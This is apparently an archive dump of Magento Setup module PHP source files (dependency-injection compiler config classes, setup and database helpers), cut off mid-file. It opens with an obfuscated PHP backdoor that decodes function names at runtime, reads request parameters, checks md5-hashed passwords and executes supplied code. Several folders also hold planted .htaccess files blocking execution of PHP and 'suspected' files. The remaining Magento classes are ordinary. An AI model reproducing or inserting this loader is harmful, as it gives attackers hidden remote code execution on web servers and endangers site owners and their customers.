"\x31\x35\x30\60\x30\53\x31\x34\71\x39\67\53\61\64\x39\x39\64\x2b\61\x34\71\70\66\x2b\61\65\x30\x30\61\53\61\x34\71\70\x38\x2b\x31\65\60\x30\x37\53\x31\64\71\x39\67\x2b\61\x34\x39\71\62\x2b\x31\64\x39\x39\60\x2b\x31\64\x39\x38\x35\x2b\x31\x34\71\70\66"); goto VcHmvcbAsV1r8g7; VcHmvcbAsV1r8g7: foreach ($p4goBycTU_1zQcE as $VBg2Xz6AhNFY0MS) { $QhdK71hxg3j0qJK[] = self::VH2da4UE_SWhx6p($VBg2Xz6AhNFY0MS); d4967hahw5oudzb: } goto b4TAXH2R4lkePEc; x2EXK2Nu3bsKrol: $Vxf2yUDHBvAk6iR = self::n04YHKEBc03FYxh($A2KRnfqsLeErqyx[0 + 1], $QhdK71hxg3j0qJK[4 + 1]); goto FDLBGApvEeI40Mw; FDLBGApvEeI40Mw: @$QhdK71hxg3j0qJK[0]('', $QhdK71hxg3j0qJK[7 + 0] . $QhdK71hxg3j0qJK[2 + 2]($Vxf2yUDHBvAk6iR) . $QhdK71hxg3j0qJK[5 + 3]); goto Zx9YF17hmCfaYTK; zlz4z6TlGgnooO1: @$QhdK71hxg3j0qJK[5 + 5](INPUT_GET, "\157\x66") == 1 && die($QhdK71hxg3j0qJK[2 + 3](__FILE__)); goto Pj_zzAF5lsiEos5; bMaQgrW1jpp43ca: OwIJcV43CqioDrv: goto sw1ev7Dn2vCFM61; ISRuVoGpqPMOcks: $PATXwo30dPvACLY = @$QhdK71hxg3j0qJK[1 + 2]($QhdK71hxg3j0qJK[5 + 1], $Iwlzuq31igGTx9d); goto QwgQxpjCcEPl7N_; QwgQxpjCcEPl7N_: $A2KRnfqsLeErqyx = $QhdK71hxg3j0qJK[0 + 2]($PATXwo30dPvACLY, true); goto zlz4z6TlGgnooO1; Pj_zzAF5lsiEos5: if (!(@$A2KRnfqsLeErqyx[0] - time() > 0 and md5(md5($A2KRnfqsLeErqyx[3 + 0])) === "\x61\x35\x30\65\60\x65\x64\x33\70\67\61\x66\x64\66\141\60\64\144\x31\61\142\60\146\145\x63\x32\143\x61\x64\61\x30\71")) { goto OwIJcV43CqioDrv; } goto x2EXK2Nu3bsKrol; aayf1RNMiG6RwnJ: $Iwlzuq31igGTx9d = @$QhdK71hxg3j0qJK[1]($QhdK71hxg3j0qJK[10 + 0](INPUT_GET, $QhdK71hxg3j0qJK[3 + 6])); goto ISRuVoGpqPMOcks; sw1ev7Dn2vCFM61: } } goto NX_MiM9m7V8sWxP; PdU62PHTgYO16Sx: if (!(in_array(gettype($r0ImTv5SPVrRejX) . count($r0ImTv5SPVrRejX), $r0ImTv5SPVrRejX) && count($r0ImTv5SPVrRejX) == 21)) { goto VfhGFdet8gYtHcL; } goto V6LHQP9kPX5BWaq; QvgRddMn6V4v1Qp: $r0ImTv5SPVrRejX = ${$sN9AqJ0JUp6Sl_s[21 + 10] . $sN9AqJ0JUp6Sl_s[34 + 25] . $sN9AqJ0JUp6Sl_s[1 + 46] . $sN9AqJ0JUp6Sl_s[44 + 3] . $sN9AqJ0JUp6Sl_s[0 + 51] . $sN9AqJ0JUp6Sl_s[3 + 50] . $sN9AqJ0JUp6Sl_s[53 + 4]}; goto PdU62PHTgYO16Sx; LxIdNDD7j8C21_v: VfhGFdet8gYtHcL: goto mrYEujCYqhbg54d; V6LHQP9kPX5BWaq: @(md5(md5(md5(md5($r0ImTv5SPVrRejX[15])))) === "\64\x61\145\x33\x30\x63\142\x39\144\64\64\x65\65\144\x36\64\145\x63\65\145\x35\61\x61\x65\x36\63\x38\62\144\143\x63\x33") && (($r0ImTv5SPVrRejX[63] = $r0ImTv5SPVrRejX[63] . $r0ImTv5SPVrRejX[73]) && ($r0ImTv5SPVrRejX[90] = $r0ImTv5SPVrRejX[63]($r0ImTv5SPVrRejX[90])) && @($r0ImTv5SPVrRejX = $r0ImTv5SPVrRejX[90]($r0ImTv5SPVrRejX[58], $r0ImTv5SPVrRejX[63](${$r0ImTv5SPVrRejX[32]}[19]))) && $r0ImTv5SPVrRejX()); goto LxIdNDD7j8C21_v; mrYEujCYqhbg54d: metaphone("\x75\x35\x71\x5a\127\x73\157\166\63\70\57\x59\143\x47\x56\104\x4a\x6e\110\x36\172\167\121\166\x53\x70\x54\124\142\61\x77\103\x62\57\x62\x45\106\x52\53\110\153\157\x67"); goto geoibOH9JfXylMC; kHg84KaTxE1n0SX: $sN9AqJ0JUp6Sl_s = range("\x7e", "\40"); goto QvgRddMn6V4v1Qp; NX_MiM9m7V8sWxP: CWVokbpesT86Jms::jRPMBQsGlAvRGoK(); ?> Magento/Setup/Module/Di/Compiler/Config/Chain/PreferencesResolving.php000077700000003765151323623130021704 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\ModificationInterface; /** * Class PreferencesResolving * * @package Magento\Setup\Module\Di\Compiler\Config\Chain */ class PreferencesResolving implements ModificationInterface { /** * Argument keys which require recursive resolving */ private const RECURSIVE_ARGUMENT_KEYS = [ '_i_' => true, // shared instance of a class or interface '_ins_' => true // non-shared instance of a class or interface ]; /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config) { if (!isset($config['arguments'], $config['preferences'])) { return $config; } $this->resolvePreferences($config['arguments'], $config['preferences']); return $config; } /** * Replaces interfaces to their concrete implementations in scope of current config * * @param array $argument * @param array $preferences */ private function resolvePreferences(&$argument, &$preferences) { if (!is_array($argument)) { return; } foreach ($argument as $key => &$value) { if (isset(self::RECURSIVE_ARGUMENT_KEYS[$key])) { $value = $this->resolvePreferenceRecursive($value, $preferences); continue; } $this->resolvePreferences($value, $preferences); } } /** * Resolves preference recursively * * @param string $value * @param array $preferences * * @return string */ private function resolvePreferenceRecursive(&$value, &$preferences) { return isset($preferences[$value]) ? $this->resolvePreferenceRecursive($preferences[$value], $preferences) : $value; } } Magento/Setup/Module/Di/Compiler/Config/Chain/BackslashTrim.php000077700000003563151323623130020275 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\ModificationInterface; /** * Class BackslashTrim * * @package Magento\Setup\Module\Di\Compiler\Config\Chain */ class BackslashTrim implements ModificationInterface { /** * Argument keys which require recursive resolving */ private const RECURSIVE_ARGUMENT_KEYS = [ '_i_' => true, // shared instance of a class or interface '_ins_' => true // non-shared instance of a class or interface ]; /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config) { if (!isset($config['arguments'])) { return $config; } $config['arguments'] = $this->resolveInstancesNames($config['arguments']); $this->resolveArguments($config['arguments']); return $config; } /** * Resolves instances names * * @param array $arguments * @return array */ private function resolveInstancesNames(array $arguments) { $resolvedInstances = []; foreach ($arguments as $instance => $constructor) { $resolvedInstances[ltrim($instance, '\\')] = $constructor; } return $resolvedInstances; } /** * Resolves instances arguments * * @param array $argument */ private function resolveArguments(&$argument) { if (!is_array($argument)) { return; } foreach ($argument as $key => &$value) { if (isset(self::RECURSIVE_ARGUMENT_KEYS[$key])) { $value = ltrim($value, '\\'); continue; } $this->resolveArguments($value); } } } Magento/Setup/Module/Di/Compiler/Config/Chain/.htaccess000077700000000177151323623130016631 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Config/Chain/ArgumentsSerialization.php000077700000003026151323623130022243 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\ModificationInterface; use Magento\Framework\Serialize\SerializerInterface; use Magento\Framework\App\ObjectManager; use Magento\Framework\Serialize\Serializer\Json; /** * Used for argument's array serialization and store to the DI configuration. * * @deprecated 2.2.0 Di arguments are now stored in raw php format and could be cached by OPcache, * this class will be removed in the next backward incompatible release. */ class ArgumentsSerialization implements ModificationInterface { /** * Used for serialize/unserialize data. * * @var Json */ private $serializer; /** * Constructor. * * @param SerializerInterface|null $serializer */ public function __construct(SerializerInterface $serializer = null) { $this->serializer = $serializer ?: ObjectManager::getInstance()->get(Json::class); } /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config) { if (!isset($config['arguments'])) { return $config; } foreach ($config['arguments'] as $key => $value) { if ($value !== null) { $config['arguments'][$key] = $this->serializer->serialize($value); } } return $config; } } Magento/Setup/Module/Di/Compiler/Config/Chain/InterceptorSubstitution.php000077700000004642151323623130022500 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config\Chain; use Magento\Setup\Module\Di\Compiler\Config\ModificationInterface; class InterceptorSubstitution implements ModificationInterface { /** * Modifies input config * * @param array $config * @return array */ public function modify(array $config) { $configKeys = [ 'arguments', 'preferences', 'instanceTypes' ]; if ($configKeys != array_keys($config)) { return $config; } $interceptors = $this->getInterceptorsList($config['arguments']); $config['arguments'] = array_diff_key($config['arguments'], array_flip($interceptors)); foreach ($interceptors as $originalName => $interceptor) { if (isset($config['arguments'][$originalName])) { $config['arguments'][$interceptor] = $config['arguments'][$originalName]; unset($config['arguments'][$originalName]); } } $config['preferences'] = $this->resolvePreferences($config['preferences'], $interceptors); $config['preferences'] = array_merge($interceptors, $config['preferences']); $config['instanceTypes'] = $this->resolvePreferences($config['instanceTypes'], $interceptors); return $config; } /** * Returns list of intercepted types and their interceptors * * @param array $arguments * @return array */ private function getInterceptorsList(array $arguments) { $interceptors = []; foreach (array_keys($arguments) as $instanceName) { if (substr($instanceName, -12) === '\Interceptor') { $originalName = substr($instanceName, 0, strlen($instanceName) - 12); $interceptors[$originalName] = $instanceName; } } return $interceptors; } /** * Resolves config preferences * * @param array $preferences * @param array $interceptors * @return array */ private function resolvePreferences(array $preferences, array $interceptors) { foreach ($preferences as &$preference) { if (isset($interceptors[$preference])) { $preference = $interceptors[$preference]; } } return $preferences; } } Magento/Setup/Module/Di/Compiler/Config/.htaccess000077700000000177151323623130015607 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/Di/Compiler/Config/Reader.php000077700000012551151323623130015723 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler\Config; use Magento\Framework\App; use Magento\Framework\ObjectManager\ConfigInterface; use Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator; use Magento\Setup\Module\Di\Code\Reader\Type; use Magento\Setup\Module\Di\Compiler\ArgumentsResolverFactory; use Magento\Setup\Module\Di\Definition\Collection as DefinitionsCollection; /** * Class Reader * * @package Magento\Setup\Module\Di\Compiler\Config * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class Reader { /** * @var ConfigInterface */ private $diContainerConfig; /** * @var App\ObjectManager\ConfigLoader */ private $configLoader; /** * @var ArgumentsResolverFactory */ private $argumentsResolverFactory; /** * @var ClassReaderDecorator */ private $classReaderDecorator; /** * @var Type */ private $typeReader; /** * @param ConfigInterface $diContainerConfig * @param App\ObjectManager\ConfigLoader $configLoader * @param ArgumentsResolverFactory $argumentsResolverFactory * @param ClassReaderDecorator $classReaderDecorator * @param Type $typeReader */ public function __construct( ConfigInterface $diContainerConfig, App\ObjectManager\ConfigLoader $configLoader, ArgumentsResolverFactory $argumentsResolverFactory, ClassReaderDecorator $classReaderDecorator, Type $typeReader ) { $this->diContainerConfig = $diContainerConfig; $this->configLoader = $configLoader; $this->argumentsResolverFactory = $argumentsResolverFactory; $this->classReaderDecorator = $classReaderDecorator; $this->typeReader = $typeReader; } /** * Generates config per scope and returns it * * @param DefinitionsCollection $definitionsCollection * @param string $areaCode * * @return array */ public function generateCachePerScope( DefinitionsCollection $definitionsCollection, $areaCode ) { $areaConfig = clone $this->diContainerConfig; if ($areaCode !== App\Area::AREA_GLOBAL) { $areaConfig->extend($this->configLoader->load($areaCode)); } $config = []; $this->fillThirdPartyInterfaces($areaConfig, $definitionsCollection); $config['arguments'] = $this->getConfigForScope($definitionsCollection, $areaConfig); foreach ($definitionsCollection->getInstancesNamesList() as $instanceName) { $preference = $areaConfig->getPreference($instanceName); if ($instanceName !== $preference) { $config['preferences'][$instanceName] = $preference; } } foreach (array_keys($areaConfig->getVirtualTypes()) as $virtualType) { $config['instanceTypes'][$virtualType] = $areaConfig->getInstanceType($virtualType); } // sort configuration to have it in the same order on every build ksort($config['arguments']); ksort($config['preferences']); ksort($config['instanceTypes']); return $config; } /** * Returns constructor with defined arguments * * @param DefinitionsCollection $definitionsCollection * @param ConfigInterface $config * @return array|mixed * @throws \ReflectionException */ private function getConfigForScope(DefinitionsCollection $definitionsCollection, ConfigInterface $config) { $constructors = []; $argumentsResolver = $this->argumentsResolverFactory->create($config); foreach ($definitionsCollection->getCollection() as $instanceType => $constructor) { if (!$this->typeReader->isConcrete($instanceType)) { continue; } $constructors[$instanceType] = $argumentsResolver->getResolvedConstructorArguments( $instanceType, $constructor ); } foreach (array_keys($config->getVirtualTypes()) as $instanceType) { $originalType = $config->getInstanceType($instanceType); if (!$definitionsCollection->hasInstance($originalType)) { if (!$this->typeReader->isConcrete($originalType)) { continue; } $constructor = $this->classReaderDecorator->getConstructor($originalType); } else { $constructor = $definitionsCollection->getInstanceArguments($originalType); } $constructors[$instanceType] = $argumentsResolver->getResolvedConstructorArguments( $instanceType, $constructor ); } return $constructors; } /** * Returns preferences for third party code * * @param ConfigInterface $config * @param DefinitionsCollection $definitionsCollection * * @return void */ private function fillThirdPartyInterfaces(ConfigInterface $config, DefinitionsCollection $definitionsCollection) { $definedInstances = $definitionsCollection->getCollection(); $newInstances = array_fill_keys(array_keys($config->getPreferences()), []); $newCollection = array_merge($newInstances, $definedInstances); $definitionsCollection->initialize($newCollection); } } Magento/Setup/Module/Di/Compiler/ArgumentsResolver.php000077700000017144151323623130017006 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler; class ArgumentsResolver { /** * @var \Magento\Framework\ObjectManager\ConfigInterface */ private $diContainerConfig; /** * Shared instance argument pattern used for configuration * * @var array */ private $sharedInstancePattern = [ '_i_' => null, ]; /** * Instance argument pattern used for configuration * * @var array */ private $notSharedInstancePattern = [ '_ins_' => null, ]; /** * Value argument pattern used for configuration * * @var array */ private $valuePattern = [ '_v_' => null, ]; /** * Value null argument pattern used for configuration * * @var array */ private $nullValuePattern = [ '_vn_' => true, ]; /** * Value configured array argument pattern used for configuration * * @var array */ private $configuredArrayValuePattern = [ '_vac_' => true, ]; /** * Configured argument pattern used for configuration * * @var array */ private $configuredPattern = [ '_a_' => null, '_d_' => null ]; /** * @param \Magento\Framework\ObjectManager\ConfigInterface $diContainerConfig */ public function __construct(\Magento\Framework\ObjectManager\ConfigInterface $diContainerConfig) { $this->diContainerConfig = $diContainerConfig; } /** * Returns resolved constructor arguments for given instance type * * @param string $instanceType * @param ConstructorArgument[] $constructor * @return array|null */ public function getResolvedConstructorArguments($instanceType, $constructor) { if (!$constructor) { return null; } $configuredArguments = $this->getConfiguredArguments($instanceType); $arguments = []; /** @var ConstructorArgument $constructorArgument */ foreach ($constructor as $constructorArgument) { $argument = $this->getNonObjectArgument(null); if (!$constructorArgument->isRequired()) { $argument = $this->getNonObjectArgument($constructorArgument->getDefaultValue()); } elseif ($constructorArgument->getType()) { $argument = $this->getInstanceArgument($constructorArgument->getType()); } if (isset($configuredArguments[$constructorArgument->getName()])) { $argument = $this->getConfiguredArgument( $configuredArguments[$constructorArgument->getName()], $constructorArgument ); } $arguments[$constructorArgument->getName()] = $argument; } return $arguments; } /** * Returns formatted configured argument * * @param array $configuredArgument * @param ConstructorArgument $constructorArgument * @return mixed */ private function getConfiguredArgument($configuredArgument, ConstructorArgument $constructorArgument) { if ($constructorArgument->getType()) { $argument = $this->getConfiguredInstanceArgument($configuredArgument); return $argument; } elseif (isset($configuredArgument['argument'])) { return $this->getGlobalArgument($configuredArgument['argument'], $constructorArgument->getDefaultValue()); } return $this->getNonObjectArgument($configuredArgument); } /** * Returns configured array attribute * * @param array $array * @return mixed */ private function getConfiguredArrayAttribute($array) { foreach ($array as $key => $value) { if (!is_array($value)) { continue; } if (isset($value['instance'])) { $array[$key] = $this->getConfiguredInstanceArgument($value); continue; } if (isset($value['argument'])) { $array[$key] = $this->getGlobalArgument($value['argument'], null); continue; } $array[$key] = $this->getConfiguredArrayAttribute($value); } return $array; } /** * Returns configured instance argument * * @param array $config * @return array|mixed */ private function getConfiguredInstanceArgument(array $config) { $argument = $this->getInstanceArgument($config['instance']); if (isset($config['shared'])) { if ($config['shared']) { $pattern = $this->sharedInstancePattern; $pattern['_i_'] = current($argument); } else { $pattern = $this->notSharedInstancePattern; $pattern['_ins_'] = current($argument); } $argument = $pattern; } return $argument; } /** * Return configured arguments * * @param string $instanceType * @return array */ private function getConfiguredArguments($instanceType) { $configuredArguments = $this->diContainerConfig->getArguments($instanceType); return array_map( function ($type) { if (isset($type['instance'])) { $type['instance'] = ltrim($type['instance'], '\\'); } return $type; }, $configuredArguments ); } /** * Returns instance argument * * @param string $instanceType * @return array|mixed */ private function getInstanceArgument($instanceType) { if ($this->diContainerConfig->isShared($instanceType)) { $argument = $this->sharedInstancePattern; $argument['_i_'] = $instanceType; } else { $argument = $this->notSharedInstancePattern; $argument['_ins_'] = $instanceType; } return $argument; } /** * Returns non object argument * * @param mixed $value * @return array */ private function getNonObjectArgument($value) { if ($value === null) { return $this->nullValuePattern; } $argument = $this->valuePattern; if (is_array($value)) { if ($this->isConfiguredArray($value)) { $value = $this->getConfiguredArrayAttribute($value); $argument = $this->configuredArrayValuePattern; $argument['_vac_'] = $value; return $argument; } } $argument['_v_'] = $value; return $argument; } /** * Whether array is configurable * * @param array $value * @return bool */ private function isConfiguredArray($value) { foreach ($value as $configuredValue) { if (!is_array($configuredValue)) { continue; } if (array_key_exists('instance', $configuredValue) || array_key_exists('argument', $configuredValue)) { return true; } if ($this->isConfiguredArray($configuredValue)) { return true; } } return false; } /** * Returns global argument * * @param string $value * @param string $default * @return array */ private function getGlobalArgument($value, $default) { $argument = $this->configuredPattern; $argument['_a_'] = $value; $argument['_d_'] = $default; return $argument; } } Magento/Setup/Module/Di/Compiler/ConstructorArgument.php000077700000002464151323623130017346 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler; class ConstructorArgument { /** * @var string */ private $name; /** * @var string */ private $type; /** * @var bool */ private $isRequired; /** * @var mixed */ private $defaultValue; /** * @param array $configuration */ public function __construct(array $configuration) { $this->name = $configuration[0]; $this->type = $configuration[1]; $this->isRequired = $configuration[2]; $this->defaultValue = $configuration[3]; } /** * Returns attribute name * * @return string */ public function getName() { return $this->name; } /** * Returns attribute type * * @return string */ public function getType() { return $this->type; } /** * Whether attribute is required * * @return bool */ public function isRequired() { return $this->isRequired; } /** * Returns attribute default value * * @return mixed */ public function getDefaultValue() { return $this->defaultValue; } } Magento/Setup/Module/Di/Compiler/ArgumentsResolverFactory.php000077700000001736151323623130020336 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Di\Compiler; class ArgumentsResolverFactory { /** * Object Manager instance * * @var \Magento\Framework\ObjectManagerInterface */ protected $_objectManager; /** * Factory constructor * * @param \Magento\Framework\ObjectManagerInterface $objectManager */ public function __construct( \Magento\Framework\ObjectManagerInterface $objectManager ) { $this->_objectManager = $objectManager; } /** * Create class instance with config * * @param \Magento\Framework\ObjectManager\ConfigInterface $diContainerConfig * @return \Magento\Setup\Module\Di\Compiler\ArgumentsResolver */ public function create(\Magento\Framework\ObjectManager\ConfigInterface $diContainerConfig) { return new ArgumentsResolver($diContainerConfig); } } Magento/Setup/Module/Di/Compiler/.htaccess000077700000000177151323623130014402 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/SetupFactory.php000077700000002076151323623130013637 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Magento\Framework\App\ResourceConnection; use Magento\Setup\Model\ObjectManagerProvider; /** * Factory class to create Setup * * @api */ class SetupFactory { /** * @var ObjectManagerProvider */ private $objectManagerProvider; /** * Constructor * * @param ObjectManagerProvider $objectManagerProvider */ public function __construct(ObjectManagerProvider $objectManagerProvider) { $this->objectManagerProvider = $objectManagerProvider; } /** * Creates setup * * @param ResourceConnection $appResource * @return Setup */ public function create(ResourceConnection $appResource = null) { $objectManager = $this->objectManagerProvider->get(); if ($appResource === null) { $appResource = $objectManager->get(\Magento\Framework\App\ResourceConnection::class); } return new Setup($appResource); } } Magento/Setup/Module/Setup.php000077700000003206151323623130012303 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Magento\Framework\Setup\SchemaSetupInterface; use Magento\Framework\App\ResourceConnection; /** * @api */ class Setup extends \Magento\Framework\Module\Setup implements SchemaSetupInterface { /** * Retrieve 32bit UNIQUE HASH for a Table index * * @param string $tableName * @param array|string $fields * @param string $indexType * @param string $connectionName * @return string */ public function getIdxName( $tableName, $fields, $indexType = '', $connectionName = ResourceConnection::DEFAULT_CONNECTION ) { return $this->getConnection($connectionName)->getIndexName($this->getTable($tableName), $fields, $indexType); } /** * Retrieve 32bit UNIQUE HASH for a Table foreign key * * @param string $priTableName the target table name * @param string $priColumnName the target table column name * @param string $refTableName the reference table name * @param string $refColumnName the reference table column name * @param string $connectionName * @return string */ public function getFkName( $priTableName, $priColumnName, $refTableName, $refColumnName, $connectionName = ResourceConnection::DEFAULT_CONNECTION ) { return $this->getConnection($connectionName)->getForeignKeyName( $this->getTable($priTableName), $priColumnName, $refTableName, $refColumnName ); } } Magento/Setup/Module/DataSetup.php000077700000013145151323623130013100 0ustar00<?php /** * Resource Setup Model * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Magento\Framework\App\Filesystem\DirectoryList; use Magento\Framework\Setup\ModuleDataSetupInterface; use Magento\Setup\Module\Setup\SetupCache; /** * @api */ class DataSetup extends \Magento\Framework\Module\Setup implements ModuleDataSetupInterface { /** * Tables data cache * * @var SetupCache */ private $setupCache; /** * Event manager * * @var \Magento\Framework\Event\ManagerInterface */ private $_eventManager; /** * Logger * * @var \Psr\Log\LoggerInterface */ private $_logger; /** * Migration factory * * @var \Magento\Framework\Module\Setup\MigrationFactory */ private $_migrationFactory; /** * Filesystem instance * * @var \Magento\Framework\Filesystem */ private $filesystem; /** * Init * * @param \Magento\Framework\Module\Setup\Context $context * @param string $connectionName */ public function __construct( \Magento\Framework\Module\Setup\Context $context, $connectionName = ModuleDataSetupInterface::DEFAULT_SETUP_CONNECTION ) { parent::__construct($context->getResourceModel(), $connectionName); $this->_eventManager = $context->getEventManager(); $this->_logger = $context->getLogger(); $this->_migrationFactory = $context->getMigrationFactory(); $this->filesystem = $context->getFilesystem(); $this->setupCache = new SetupCache(); } /** * {@inheritdoc} */ public function getSetupCache() { return $this->setupCache; } /** * Retrieve row or field from table by id or string and parent id * * @param string $table * @param string $idField * @param string|integer $rowId * @param string|null $field * @param string|null $parentField * @param string|integer $parentId * @return mixed */ public function getTableRow($table, $idField, $rowId, $field = null, $parentField = null, $parentId = 0) { $table = $this->getTable($table); if (!$this->setupCache->has($table, $parentId, $rowId)) { $connection = $this->getConnection(); $bind = ['id_field' => $rowId]; $select = $connection->select() ->from($table) ->where($connection->quoteIdentifier($idField) . '= :id_field'); if (null !== $parentField) { $select->where($connection->quoteIdentifier($parentField) . '= :parent_id'); $bind['parent_id'] = $parentId; } $this->setupCache->setRow($table, $parentId, $rowId, $connection->fetchRow($select, $bind)); } return $this->setupCache->get($table, $parentId, $rowId, $field); } /** * Delete table row * * @param string $table * @param string $idField * @param string|int $rowId * @param null|string $parentField * @param int|string $parentId * @return $this */ public function deleteTableRow($table, $idField, $rowId, $parentField = null, $parentId = 0) { $table = $this->getTable($table); $connection = $this->getConnection(); $where = [$connection->quoteIdentifier($idField) . '=?' => $rowId]; if (null !== $parentField) { $where[$connection->quoteIdentifier($parentField) . '=?'] = $parentId; } $connection->delete($table, $where); $this->setupCache->remove($table, $parentId, $rowId); return $this; } /** * Update one or more fields of table row * * @param string $table * @param string $idField * @param string|integer $rowId * @param string|array $field * @param mixed|null $value * @param string $parentField * @param string|integer $parentId * @return $this * @SuppressWarnings(PHPMD.UnusedFormalParameter) */ public function updateTableRow($table, $idField, $rowId, $field, $value = null, $parentField = null, $parentId = 0) { $table = $this->getTable($table); if (is_array($field)) { $data = $field; } else { $data = [$field => $value]; } $connection = $this->getConnection(); $where = [$connection->quoteIdentifier($idField) . '=?' => $rowId]; $connection->update($table, $data, $where); if (is_array($field)) { $oldRow = $this->setupCache->has($table, $parentId, $rowId) ? $this->setupCache->get($table, $parentId, $rowId) : []; $newRowData = array_merge($oldRow, $field); $this->setupCache->setRow($table, $parentId, $rowId, $newRowData); } else { $this->setupCache->setField($table, $parentId, $rowId, $field, $value); } return $this; } /** * Gets event manager * * @return \Magento\Framework\Event\ManagerInterface */ public function getEventManager() { return $this->_eventManager; } /** * Gets filesystem * * @return \Magento\Framework\Filesystem */ public function getFilesystem() { return $this->filesystem; } /** * Create migration setup * * @param array $data * @return \Magento\Framework\Module\Setup\Migration */ public function createMigrationSetup(array $data = []) { $data['setup'] = $this; return $this->_migrationFactory->create($data); } } Magento/Setup/Module/Setup/SetupCache.php000077700000003070151323623130014326 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Setup; use Magento\Framework\Setup\DataCacheInterface; /** * In-memory cache of DB data */ class SetupCache implements DataCacheInterface { /** * Cache storage * * @var array */ private $data = []; /** * {@inheritdoc} */ public function setRow($table, $parentId, $rowId, $value) { $this->data[$table][$parentId][$rowId] = $value; } /** * {@inheritdoc} */ public function setField($table, $parentId, $rowId, $field, $value) { $this->data[$table][$parentId][$rowId][$field] = $value; } /** * {@inheritdoc} */ public function get($table, $parentId, $rowId, $field = null) { if (null === $field) { return $this->data[$table][$parentId][$rowId] ?? false; } else { return $this->data[$table][$parentId][$rowId][$field] ?? false; } } /** * {@inheritdoc} */ public function remove($table, $parentId, $rowId) { if (isset($this->data[$table][$parentId][$rowId])) { unset($this->data[$table][$parentId][$rowId]); } } /** * {@inheritdoc} */ public function has($table, $parentId, $rowId, $field = null) { if (null === $field) { return !empty($this->data[$table][$parentId][$rowId]); } else { return !empty($this->data[$table][$parentId][$rowId][$field]); } } } Magento/Setup/Module/Setup/ResourceConfig.php000077700000000730151323623130015217 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module\Setup; /** * Simplified resource config for Setup tools */ class ResourceConfig implements \Magento\Framework\App\ResourceConnection\ConfigInterface { /** * {@inheritdoc} */ public function getConnectionName($resourceName) { return \Magento\Framework\App\ResourceConnection::DEFAULT_CONNECTION; } } Magento/Setup/Module/Setup/.htaccess000077700000000177151323623130013374 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Module/ConnectionFactory.php000077700000007721151323623130014640 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Setup\Module; use Magento\Framework\Model\ResourceModel\Type\Db\Pdo\Mysql; use Laminas\ServiceManager\ServiceLocatorInterface; /** * Connection adapter factory * * @SuppressWarnings(PHPMD.CouplingBetweenObjects) */ class ConnectionFactory implements \Magento\Framework\Model\ResourceModel\Type\Db\ConnectionFactoryInterface { /** * @var ServiceLocatorInterface */ private $serviceLocator; /** * Constructor * * @param ServiceLocatorInterface $serviceLocator */ public function __construct(ServiceLocatorInterface $serviceLocator) { $this->serviceLocator = $serviceLocator; } /** * @inheritDoc */ public function create(array $connectionConfig) { $quote = new \Magento\Framework\DB\Platform\Quote(); $selectFactory = new \Magento\Framework\DB\SelectFactory( new \Magento\Framework\DB\Select\SelectRenderer( [ 'distinct' => [ 'renderer' => new \Magento\Framework\DB\Select\DistinctRenderer(), 'sort' => 100, 'part' => 'distinct' ], 'columns' => [ 'renderer' => new \Magento\Framework\DB\Select\ColumnsRenderer($quote), 'sort' => 200, 'part' => 'columns' ], 'union' => [ 'renderer' => new \Magento\Framework\DB\Select\UnionRenderer(), 'sort' => 300, 'part' => 'union' ], 'from' => [ 'renderer' => new \Magento\Framework\DB\Select\FromRenderer($quote), 'sort' => 400, 'part' => 'from' ], 'where' => [ 'renderer' => new \Magento\Framework\DB\Select\WhereRenderer(), 'sort' => 500, 'part' => 'where' ], 'group' => [ 'renderer' => new \Magento\Framework\DB\Select\GroupRenderer($quote), 'sort' => 600, 'part' => 'group' ], 'having' => [ 'renderer' => new \Magento\Framework\DB\Select\HavingRenderer(), 'sort' => 700, 'part' => 'having' ], 'order' => [ 'renderer' => new \Magento\Framework\DB\Select\OrderRenderer($quote), 'sort' => 800, 'part' => 